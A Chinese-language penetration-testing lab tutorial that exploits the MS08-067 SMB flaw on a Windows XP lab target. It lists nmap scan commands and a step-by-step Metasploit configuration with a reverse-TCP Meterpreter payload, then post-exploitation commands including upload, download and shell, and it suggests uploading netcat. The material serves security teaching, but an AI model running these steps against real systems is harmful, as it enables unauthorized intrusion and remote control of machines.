实验环境
操作机 :
Kali 2017
操作机IP:
172.16.11.2
目标机:
Windows XP S2 中文版
目标机IP:
172.16.12.2
实验目的
认知Windows远程溢出漏洞的危害
知悉MS08-067漏洞的发现和验证过程
学习Metasploit工具的使用
实验工具
Nmap
:端口扫描探测工具,用于探测端口开放情况,本次使用其端口扫描和漏洞扫描功能
mestasploit
:开源的渗透测试框架软件、综合型漏洞利用工具,本次实验使用其漏洞利用模块、meterpreter组件
实验内容
漏洞原理简述
MS08-067 漏洞是通过MSRPC over SMB通道调用Server程序中的NEtPathCanonicalize函数时触发的。
NetPathCanonicalize 函数在远程访问其他主机时,会调用NetpwPathCanonicalize函数,对远程访问的路径进行规范化,而在NetpwPathCanonicalize函数中发生了栈缓冲区内存错误,造成可被利用实施远程代码执行。
实验步骤
第1步 漏洞探测
打开Kali终端,使用Nmap对目标机开放端口进行扫描
nmap -sV -Pn 172.16.12.2
目标机开放了135``139``445``3389
端口,且目标机系统为Windows_XP。一想到XP或者2003系统的445
端口开放,我们就能想到轰动一时的ms08-067。
我们使用nmap的漏洞扫描脚本查看漏洞是否可用
nmap -sV -Pn -p 445 --script smb-vuln-ms08-067.nse 172.16.12.2
扫描结果VULNERABLE
,可以利用
nmap漏扫脚本目录:/usr/share/nmap/script/ 可自行查看其它脚本
第2步 漏洞利用
终端内输入msfconsole
打开 metasploite 命令行客户端,使用search
命令查找ms08-067的漏洞利用模块
search ms08-067
使用use
命令选择我们要使用的利用模块
在运行该模块之前,一般需要设置相关选项,我们使用show options
查看配置信息
需要设置目标地址,设置命令:
set RHOST 172.16.12.2
之后,选择载荷payload
,也就是shellcode
,此处我们选择回连至控制端shell的payload
set payload windows/meterpreter/reverse_tcp
当然载荷也需要进行配置,所以我们选择渗透所用的载荷后,同样使用show options
查看配置信息
配置中缺少本地主机 RHOST,设置一下
set LHOST 172.16.11.2
MS08-067 针对不同的系统可以选择不同的target
,使用命令show targets
可以看见支持的系统
我们选择此次目标机的系统,编号10 set target 10
完成配置后,运行exploit
,开始执行漏洞利用模块
成功获取来自目标主机的Session会话
第3步:Meterpreter常用命令
我们已经成功的获取Session会话了,接下来,我们使用meterpreter
的一些常用基本功能
sysinfo
使用sysinfo
命令可以查看目标系统的基本信息
route
route
命令用于显示目标主机的路由信息,通常用来探测目标机的网络情况,有助于网络拓扑的构建
upload
/ download
Meterpreter的upload
和download
命令可以上传文件到目标机器上,或下载文件至本地 (图中1.txt为自己新建的文件,内容任意)
思考:利用上传我们可以干啥?比如上传netcat.exe文件
shell
shell
命令用于获取一个可以交互的shell,方便执行系统命令
思考: 结合上传我们可以做很多有意思的事
实验结果分析与总结
通过本次实验,我们学习了从发现漏洞、到验证漏洞、再到利用漏洞这一整个过程,并初步学习了Metasploit这一工具的使用。后续我们会进一步探索其他漏洞,结合实例去学习MSF后渗透模块的知识
思考
如果目标机的扫描结果是Win7系统,并且修补了MS08-067漏洞,该怎样去做?
发现目标开启了3389,我们还有途径?